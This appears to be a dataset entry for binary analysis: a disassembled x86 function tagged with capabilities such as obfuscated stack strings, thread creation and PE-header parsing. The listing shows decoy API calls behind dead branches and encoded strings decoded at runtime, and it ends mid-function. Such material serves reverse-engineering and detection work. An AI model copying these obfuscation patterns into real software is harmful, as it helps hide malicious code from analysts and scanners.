Function at 0x100ec0ad
Capabilities:
Contain obfuscated stackstrings
Create thread
Parse pe header

Disassembly:
mov eax, 0x10150ff7
call fcn.1014399c
mov eax, 0x29c0
call fcn.10129c50
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x38], ecx
xor eax, eax
mov dword [ebp - 0x3c], ebx
push edi
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x8b4], 0x91a0
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x100ec0f1
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_UnionRect]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100ec12d
push eax
push 0x1e7e
push 0xecb
push 0x1c47
push 0xc8f
push 0x39b
push 0x273
push 0x1d9a
push 0x1e69
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
xor eax, eax
cmp dword [ebx + 0x10], eax
jne 0x100ec139
mov bl, al
jmp 0x100f309b
mov dword [ebp - 0x2c], 0xf57a7c2
lea ecx, [ebp - 0x904]
push 1
call fcn.100141a5
xor edx, edx
mov dword [ebp - 0x1c], edx
jmp 0x100ec167
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x904]
mov dword [eax + ecx*4], 0x7fa5c62e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x100ec154
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 0x15], dl
cmp byte [ebp - 0x15], dl
je 0x100ec181
push edx
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
xor edx, edx
mov ebx, dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x15], dl
cmp byte [ebp - 0x15], 0
je 0x100ec1a4
push edx
push edx
call esi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
cmp dword [ebp - 0x904], 0
je 0x100ec1cd
push dword [ebp - 0x904]
call fcn.10123626
xor eax, eax
pop ecx
mov dword [ebp - 0x904], eax
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x8fc], eax
push ecx
push ecx
lea ecx, [ebp - 0x1b3c]
call fcn.100f59cf
mov byte [ebp - 4], 1
mov dword [ebp - 0x1c], 0x60477862
mov dword [ebp - 0x2c], 0xe3ff14eb
mov dword [ebp - 0x1c], 0xffffffff
cmp dword [ebp - 0x1c], 0xfffffff6
push 4
pop ecx
jg 0x100ec2ba
xor eax, eax
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x100ec229
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x964], 6
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x100ec211
xor eax, eax
mov dword [ebp - 0x960], ecx
jmp 0x100ec23e
mov dword [ebp - 0x28], 0xfffffff8
dec dword [ebp - 0x960]
cmp dword [ebp - 0x960], 0xfffffffb
jg 0x100ec231
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jg 0x100ec2ad
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100ec274
push 0x5ba
push 0x178f
call esi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100ec29b
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100ec298
push eax
push 0x2043
push eax
push eax
push 0x1014
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x100ec279
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jle 0x100ec250
push 4
pop ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff6
jle 0x100ec202
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x1b2c]
mov eax, dword [ebp - 0x2c]
mov edx, 0xfeff
mov dword [ebp - 0x1c], eax
call fcn.10045af2
push 4
pop eax
push eax
lea ecx, [ebp - 0x8cc]
call fcn.100141a5
mov byte [ebp - 4], 2
xor ebx, ebx
mov dword [ebp - 0x14], 0x25d16df2
mov dword [ebp - 0x1c], 0x26f39384
mov dword [ebp - 0x28], 0xccdf493a
push 4
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
pop edx
jmp 0x100ec31b
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x8cc]
mov dword [eax + ecx*4], 0x8c6a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100ec308
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jg 0x100ec4d7
mov edi, dword [ebp - 0x8cc]
mov dword [ebp - 0x20], 0xfffffff7
lea ecx, [ebp - 0x8c0]
push 2
call fcn.100141a5
mov dword [ebp - 0x2c], 0x5c3b
mov dword [ebp - 0x1c], ebx
jmp 0x100ec366
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x8c0]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100ec353
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x14]
jle 0x100ec391
cmp dword [ebp - 0x20], ebx
jne 0x100ec391
mov esi, ebx
jmp 0x100ec394
xor esi, esi
inc esi
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, 1
mov eax, dword [ebp - 0x8c0]
setl cl
xor edx, edx
imul esi, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
cmp esi, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x100ec459
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
push 9
setne dl
xor ecx, ecx
imul eax, edx, 0xa805
cmp eax, dword [edi + 4]
setge cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, 0x6a10
pop eax
setl cl
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sub eax, 0x5464
cmp eax, 0x7bae
setge cl
cmp ecx, 0xfffd
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x67aac3bc
mov eax, dword [ebp - 0x8cc]
setne cl
xor edx, edx
sub ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
sub edx, dword [edi + 4]
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp - 0x20]
jle 0x100ec456
cmp dword [ebp - 0x14], ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x8c0]
mov eax, dword [edi + 4]
dec eax
cmp eax, dword [ecx]
setge dl
mov dword [ecx + 4], edx
test edx, edx
je 0x100ec49f
mov dword [ebp - 0x2c], 0x5ff7d1d4
dec dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x8c0]
jmp 0x100ec4b1
mov dword [ebp - 0x28], 0x212ec388
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x8c0]
mov dword [ecx], eax
push ecx
call fcn.10123626
mov dword [ebp - 0x8c0], ebx
mov dword [ebp - 0x8bc], ebx
mov dword [ebp - 0x8b8], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
pop ecx
jle 0x100ec333
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x100ec4e7
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
mov byte [ebp - 4], 1
cmp dword [ebp - 0x8cc], ebx
je 0x100ec511
push dword [ebp - 0x8cc]
call fcn.10123626
pop ecx
mov dword [ebp - 0x8cc], ebx
mov dword [ebp - 0x8c8], ebx
mov dword [ebp - 0x8c4], ebx
push 4
pop eax
push 9
mov byte [ebp - 0x808], al
pop eax
push 0x18
mov byte [ebp - 0x800], al
pop eax
push 0x3c
pop ecx
push 7
mov dword [ebp - 0x8b4], eax
mov byte [ebp - 0x7fe], al
pop eax
mov dword [ebp - 0x8ac], 0x581e705d
mov dword [ebp - 0x8a8], 0x4d20253b
mov dword [ebp - 0x8a4], 0x784e3867
mov dword [ebp - 0x8a0], 0x40377b15
mov dword [ebp - 0x89c], 0x42733f38
mov dword [ebp - 0x898], 0x496e823d
mov dword [ebp - 0x894], 0x89629060
mov dword [ebp - 0x890], 0x802a902b
mov dword [ebp - 0x88c], 0x8475864d
mov dword [ebp - 0x888], 0x66258963
mov dword [ebp - 0x884], 0x68358c5c
mov dword [ebp - 0x880], 0x95599016
mov dword [ebp - 0x87c], 0x9b43a572
mov dword [ebp - 0x878], 0x9c14a464
mov dword [ebp - 0x874], 0xad55696d
mov dword [ebp - 0x870], 0xae336d6a
mov dword [ebp - 0x86c], 0xb530b308
mov dword [ebp - 0x868], 0x7551b831
mov dword [ebp - 0x864], 0x7d39692d
mov dword [ebp - 0x860], 0x7142b22f
mov dword [ebp - 0x85c], 0x826fba32
mov dword [ebp - 0x858], 0x791d835b
mov dword [ebp - 0x854], 0x7d3a961c
mov dword [ebp - 0x850], 0xcd3fb129
mov dword [ebp - 0x84c], 0x8524ce52
mov dword [ebp - 0x848], 0xd00ad944
mov dword [ebp - 0x844], 0xa728dd5a
mov dword [ebp - 0x840], 0xde179e22
mov dword [ebp - 0x83c], 0xe2569f10
mov dword [ebp - 0x838], 0xe470e876
mov dword [ebp - 0x834], 0xf12ee734
mov dword [ebp - 0x830], 0xf2509f0e
mov dword [ebp - 0x82c], 0xbd47ea71
mov dword [ebp - 0x828], 0xfd06b768
mov dword [ebp - 0x824], 0xec4fab78
mov dword [ebp - 0x820], 0xf819ba21
mov dword [ebp - 0x81c], 0xc25fb336
mov dword [ebp - 0x818], 0xa17af84b
mov dword [ebp - 0x814], 0xcf6b0d45
mov dword [ebp - 0x810], 0x12400877
mov dword [ebp - 0x80c], 0xa1b0a53
mov dword [ebp - 0x807], 0x57d66c11
mov word [ebp - 0x803], 0x21c
mov byte [ebp - 0x801], 0x23
mov byte [ebp - 0x7ff], 0x20
mov dword [ebp - 0x7fd], 0xded0013
mov dword [ebp - 0x7f9], 0x1a230cf0
mov dword [ebp - 0x7f5], 0x27f80125
mov dword [ebp - 0x7f1], 0x199f0fc5
mov dword [ebp - 0x7ed], 0x2850c7ca
mov dword [ebp - 0x7e9], 0x71398075
mov dword [ebp - 0x7e5], 0xfdc719ce
mov dword [ebp - 0x7e1], 0x2a2cec49
mov dword [ebp - 0x7dd], 0xf923151f
mov dword [ebp - 0x7d9], 0xf7690379
mov dword [ebp - 0x7d5], 0x3b46380b
mov dword [ebp - 0x7d1], 0xc41fe0f
mov dword [ebp - 0x7cd], 0x464a4466
mov dword [ebp - 0x7c9], 0x3f4c1326
mov byte [ebp - 0x7c5], 0x54
mov byte [ebp - 0x7c4], cl
mov dword [ebp - 0x7c3], 0x54654461
mov dword [ebp - 0x7bf], 0x4e03ff05
mov byte [ebp - 0x7bb], al
mov dword [ebp - 0x7ba], 0x5e545848
mov byte [ebp - 0x7b6], 0x54
mov byte [ebp - 0x7b5], cl
mov dword [ebp - 0x7b4], 0x115f7461
mov ecx, ebx
mov dword [ebp - 0x7b0], 0x3e11121d
mov esi, ebx
mov dword [ebp - 0x7ac], 0x1322485d
mov byte [ebp - 0x7a8], 0x15
cmp ecx, 0xbc
jne 0x100ec7f6
push 0xf
pop esi
add ecx, 0xd
jmp 0x100ec829
movzx eax, byte [ebp + ecx - 0x8ab]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ec819
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x8ac]
mov word [ebp + eax*2 - 0x25e4], dx
add ecx, 2
cmp ecx, 0x105
jb 0x100ec7e6
xor eax, eax
lea ecx, [ebp - 0x8d8]
mov word [ebp - 0x24ee], ax
mov dword [ebp - 0x14], 0xffffffff
push 3
call fcn.100141a5
xor edx, edx
inc edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], 0xcf041577
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x28], ebx
jmp 0x100ec87c
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x8d8]
mov dword [eax + ecx*4], 0x76e5b14f
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x100ec869
mov esi, edx
cmp dword [ebp - 0x14], ebx
jne 0x100ec8c4
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, 0x38e8
mov esi, ebx
mov eax, dword [ebp - 0x8d8]
setne cl
mov dword [eax + 8], ecx
test ecx, ecx
je 0x100ec8ac
mov ecx, edx
cmp dword [ebp - 0x14], ebx
jne 0x100ec8ae
mov ecx, ebx
mov eax, dword [ebp - 0x14]
imul eax, ecx
sub eax, dword [ebp - 0x14]
mov eax, ebx
je 0x100ec8bd
mov eax, edx
cmp eax, dword [ebp - 0x14]
je 0x100ec8c4
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov edx, 0x451dba1d
setl cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp esi, eax
setg cl
xor eax, eax
cmp ecx, 0xffffffff
setne al
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x8d8]
mov dword [eax], edx
mov eax, dword [ebp - 0x28]
cmp eax, edx
setle cl
xor edx, edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setle dl
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], ebx
jle 0x100ec939
cmp dword [ebp - 0x30], ebx
jne 0x100ec939
mov edx, ebx
jmp 0x100ec93c
xor edx, edx
inc edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, 0xe181f51b
setne cl
sub ecx, 0xe2ad
cmp eax, ecx
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jne 0x100ec95e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x8d8]
mov dword [ebp - 0x30], 1
call fcn.10123626
pop ecx
lea eax, [ebp - 0x25e4]
mov dword [ebp - 0x8d8], ebx
push eax
lea ecx, [ebp - 0x1ea4]
mov dword [ebp - 0x8d4], ebx
mov dword [ebp - 0x8d0], ebx
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1ea4]
mov byte [ebp - 4], 1
call fcn.10014706
push 3
lea ecx, [ebp - 0x9fc]
call fcn.100141a5
push 4
pop eax
push 3
lea ecx, [ebp - 0x99c]
mov byte [ebp - 4], al
call fcn.100141a5
push 3
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x100ec9f6
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9fc]
mov dword [eax + ecx*4], 0x398070ad
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100ec9e3
mov dword [ebp - 0x14], ebx
jmp 0x100eca13
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x99c]
mov dword [eax + ecx*4], 0xba09
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100eca00
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100eca28
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [ebp - 0x9fc]
mov ecx, dword [edi + 8]
test ecx, ecx
je 0x100eca6c
mov edx, dword [ebp - 0x99c]
xor eax, eax
mov esi, dword [edi + 4]
cmp ecx, dword [edx + 8]
sete al
xor ebx, ebx
cmp eax, 0xfffffffb
setg bl
imul ebx, ecx
xor ecx, ecx
cmp esi, dword [edx]
sete cl
xor eax, eax
cmp esi, ecx
setle al
cmp eax, ebx
jg 0x100eca6a
xor ecx, ecx
inc ecx
xor ebx, ebx
jmp 0x100eca6e
xor ebx, ebx
mov ecx, ebx
mov eax, dword [edi]
imul eax, ecx
lea ecx, [ebp - 0x99c]
mov dword [edi], eax
call fcn.100147a9
lea ecx, [ebp - 0x9fc]
mov byte [ebp - 4], 1
call fcn.100147a9
push 0x3e
pop ecx
xor eax, eax
lea edi, [ebp - 0x25e4]
rep stosd dword es:[edi], eax
push 3
lea ecx, [ebp - 0x9e4]
call fcn.100141a5
push 2
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 5
call fcn.100141a5
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], 0x4438bea1
mov dword [ebp - 0x14], ebx
jmp 0x100ecadd
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9e4]
mov dword [eax + ecx*4], 0xc204
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100ecaca
push 2
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x100ecafe
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9b4]
mov dword [eax + ecx*4], 0xad59e57a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100ecaeb
mov esi, dword [ebp - 0x9b4]
mov dword [esi + 4], edx
mov ecx, dword [esi + 4]
mov eax, dword [ebp - 0x9e4]
cmp dword [eax + ecx*4], ebx
jne 0x100ecb30
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ecb2b
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetRgnBox]
dec dword [esi + 4]
jns 0x100ecb0c
mov dword [ebp - 0x28], 0xc
jmp 0x100ecb72
push 3
lea ecx, [ebp - 0x1a54]
call fcn.100141a5
mov dword [ebp - 0x1c], ebx
jmp 0x100ecb5e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1a54]
mov dword [eax + ecx*4], 0xcb143e95
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100ecb4b
lea ecx, [ebp - 0x1a54]
call fcn.100147a9
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff2
jne 0x100ecb39
lea ecx, [ebp - 0x9b4]
call fcn.100147a9
lea ecx, [ebp - 0x9e4]
mov byte [ebp - 4], 1
call fcn.100147a9
push 9
pop eax
push 7
mov byte [ebp - 0xa8], al
mov ecx, ebx
pop eax
push 4
mov byte [ebp - 0xa2], al
mov esi, ebx
pop eax
mov dword [ebp - 0xbc], 0x6c037302
mov dword [ebp - 0xb8], 0xcc0a5901
mov dword [ebp - 0xb4], 0x19db1786
mov dword [ebp - 0xb0], 0x825d11f4
mov dword [ebp - 0xac], 0x6e067a08
mov dword [ebp - 0xa7], 0x5170a49
mov byte [ebp - 0xa3], 0x76
mov word [ebp - 0xa1], 0x83
mov byte [ebp - 0x9f], 0x4f
mov byte [ebp - 0x9e], al
mov byte [ebp - 0x9d], 0x7c
cmp ecx, 6
jne 0x100ecc18
push 0xa
pop esi
push 0xe
pop ecx
jmp 0x100ecc4b
movzx eax, byte [ebp + ecx - 0xbb]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ecc3b
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0xbc]
mov word [ebp + eax*2 - 0x1bd4], dx
add ecx, 2
cmp ecx, 0x20
jb 0x100ecc0b
xor eax, eax
lea ecx, [ebp - 0x1dfc]
mov word [ebp - 0x1bbe], ax
lea eax, [ebp - 0x1bd4]
push eax
call fcn.100140d4
push 7
pop ecx
mov byte [ebp - 4], cl
mov edx, eax
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1dfc]
mov byte [ebp - 4], 1
call fcn.10014706
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x1bd4]
rep stosd dword es:[edi], eax
push 2
lea ecx, [ebp - 0x1a8c]
call fcn.100141a5
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x100ecccf
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1a8c]
mov dword [eax + ecx*4], 0x9b55bb2c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100eccbc
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 1
jg 0x100ecd16
mov dword [ebp - 0x24], 0xffffffff
xor edx, edx
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x2c], 1
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, 0xfffa
setl dl
cmp eax, edx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x100eccde
lea ecx, [ebp - 0x1a8c]
call fcn.100147a9
test byte [ebp + 0xc], 1
je 0x100ed12a
push 7
pop eax
push 4
mov byte [ebp - 0x602], al
mov ecx, ebx
pop eax
push 9
mov byte [ebp - 0x600], al
mov esi, ebx
pop eax
push 0x3c
mov byte [ebp - 0x5fa], al
pop eax
push 0x18
mov byte [ebp - 0x5d6], al
pop eax
mov dword [ebp - 0x624], 0x3f017a38
mov dword [ebp - 0x620], 0x7b307124
mov dword [ebp - 0x61c], 0x49195c2c
mov dword [ebp - 0x618], 0x841c3d3b
mov dword [ebp - 0x614], 0x77268032
mov dword [ebp - 0x610], 0x4f436944
mov dword [ebp - 0x60c], 0x7c14493d
mov dword [ebp - 0x608], 0x290e5140
mov word [ebp - 0x604], 0x931b
mov byte [ebp - 0x601], 0x95
mov dword [ebp - 0x5ff], 0x3952192
mov byte [ebp - 0x5fb], 0x92
mov dword [ebp - 0x5f9], 0x1f5a3e92
mov dword [ebp - 0x5f5], 0x2285025e
mov dword [ebp - 0x5f1], 0x33962e94
mov dword [ebp - 0x5ed], 0x429b15ac
mov dword [ebp - 0x5e9], 0x1291066c
mov dword [ebp - 0x5e5], 0x2ba62584
mov dword [ebp - 0x5e1], 0x27b92d7f
mov dword [ebp - 0x5dd], 0x5522a85
mov word [ebp - 0x5d9], 0x8b0
mov byte [ebp - 0x5d7], 0xb6
mov dword [ebp - 0x5d5], 0x285a107f
mov dword [ebp - 0x5d1], 0x29ba175d
mov dword [ebp - 0x5cd], 0xb864160
mov word [ebp - 0x5c9], 0x1ac0
mov byte [ebp - 0x5c7], 0xd1
mov byte [ebp - 0x5c6], al
mov dword [ebp - 0x5c5], 0xfa620c3
mov dword [ebp - 0x5c1], 0x37cc0a6c
mov dword [ebp - 0x5bd], 0x237200d9
mov dword [ebp - 0x5b9], 0x35ab39cd
mov dword [ebp - 0x5b5], 0x8ad11d3
mov dword [ebp - 0x5b1], 0xc4fc6cc0
mov dword [ebp - 0x5ad], 0x3f680672
mov dword [ebp - 0x5a9], 0x13d636a3
mov dword [ebp - 0x5a5], 0x16bb31e5
mov dword [ebp - 0x5a1], 0x2fef0ce7
mov dword [ebp - 0x59d], 0x34bd1ef1
mov dword [ebp - 0x599], 0x1dc30df1
mov word [ebp - 0x595], 0x3aec
mov byte [ebp - 0x593], 0xbb
cmp ecx, 0x72
jne 0x100ecef0
push 8
pop esi
push 0x78
pop ecx
jmp 0x100ecf23
movzx eax, byte [ebp + ecx - 0x623]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ecf13
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x624]
mov word [ebp + eax*2 - 0x2374], dx
add ecx, 2
cmp ecx, 0x92
jb 0x100ecee3
xor eax, eax
lea ecx, [ebp - 0x1ed4]
mov word [ebp - 0x22ea], ax
lea eax, [ebp - 0x2374]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1ed4]
mov byte [ebp - 4], 1
call fcn.10014706
push 0x23
pop ecx
xor eax, eax
lea edi, [ebp - 0x2374]
rep stosd dword es:[edi], eax
push 2
pop edx
lea ecx, [ebp - 0x1f34]
call fcn.100ea987
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1f34]
mov byte [ebp - 4], 1
call fcn.10014706
push 4
pop eax
push 0x18
mov byte [ebp - 0x298], al
mov ecx, ebx
pop eax
push 7
mov byte [ebp - 0x294], al
mov esi, ebx
pop eax
push 9
mov byte [ebp - 0x28a], al
pop eax
mov dword [ebp - 0x29c], 0x3f007305
mov word [ebp - 0x297], 0x1b66
mov byte [ebp - 0x295], 0x6e
mov dword [ebp - 0x293], 0x6741a5d
mov dword [ebp - 0x28f], 0xc7d42bb9
mov byte [ebp - 0x28b], 0x53
mov dword [ebp - 0x289], 0xc83064f
mov word [ebp - 0x285], 0xe72
mov byte [ebp - 0x283], 0x8c
mov byte [ebp - 0x282], al
mov dword [ebp - 0x281], 0xa46018a
mov dword [ebp - 0x27d], 0x19881687
mov dword [ebp - 0x279], 0x1d28118f
mov dword [ebp - 0x275], 0x142d1086
mov dword [ebp - 0x271], 0x15651f79
mov dword [ebp - 0x26d], 0x8671292
mov dword [ebp - 0x269], 0x26d0f9c
mov dword [ebp - 0x265], 0xda51e84
mov dword [ebp - 0x261], 0xb9c17a7
mov dword [ebp - 0x25d], 0x1caf039d
mov word [ebp - 0x259], 0x13a4
mov byte [ebp - 0x257], 0x6e
cmp ecx, 0xc
jne 0x100ed0a2
push 6
pop esi
push 0x10
pop ecx
jmp 0x100ed0d5
movzx eax, byte [ebp + ecx - 0x29b]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ed0c5
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x29c]
mov word [ebp + eax*2 - 0x203c], dx
add ecx, 2
cmp ecx, 0x46
jb 0x100ed095
xor eax, eax
lea ecx, [ebp - 0x1cc4]
mov word [ebp - 0x1ffc], ax
lea eax, [ebp - 0x203c]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1cc4]
mov byte [ebp - 4], 1
call fcn.10014706
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x203c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
movdqa xmm0, xmmword [0x1000f200]
lea ecx, [ebp - 0x1b8c]
push ecx
lea eax, [ebp - 0x1b7c]
push eax
push ecx
lea ecx, [ebp - 0xa44]
movdqu xmmword [ebp - 0x1b8c], xmm0
call fcn.100141e1
mov eax, dword [ebp - 0xa44]
mov dword [eax], ebx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ed179
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetParent]
xor ebx, ebx
lea ecx, [ebp - 0xa44]
call fcn.100147a9
test byte [ebp + 0xc], 2
je 0x100ee020
push 4
pop eax
push 0x3c
mov byte [ebp - 0x392], al
mov ecx, ebx
pop eax
push 7
mov byte [ebp - 0x38c], al
mov esi, ebx
pop eax
push 0x18
mov byte [ebp - 0x380], al
pop eax
push 9
mov byte [ebp - 0x356], al
pop eax
mov dword [ebp - 0x3ac], 0x6403680d
mov dword [ebp - 0x3a8], 0x731a6a0f
mov dword [ebp - 0x3a4], 0x70217528
mov dword [ebp - 0x3a0], 0x7d256e26
mov dword [ebp - 0x39c], 0x4f018620
mov dword [ebp - 0x398], 0x7c1b5311
mov word [ebp - 0x394], 0x5e16
mov dword [ebp - 0x391], 0xb3b0a87
mov byte [ebp - 0x38d], 0xa2
mov dword [ebp - 0x38b], 0x7ee1e002
mov dword [ebp - 0x387], 0x10261478
mov word [ebp - 0x383], 0x1991
mov byte [ebp - 0x381], 0x83
mov dword [ebp - 0x37f], 0x2892a87
mov dword [ebp - 0x37b], 0x1f9b0b6a
mov dword [ebp - 0x377], 0xa6b2b9d
mov dword [ebp - 0x373], 0x153b1283
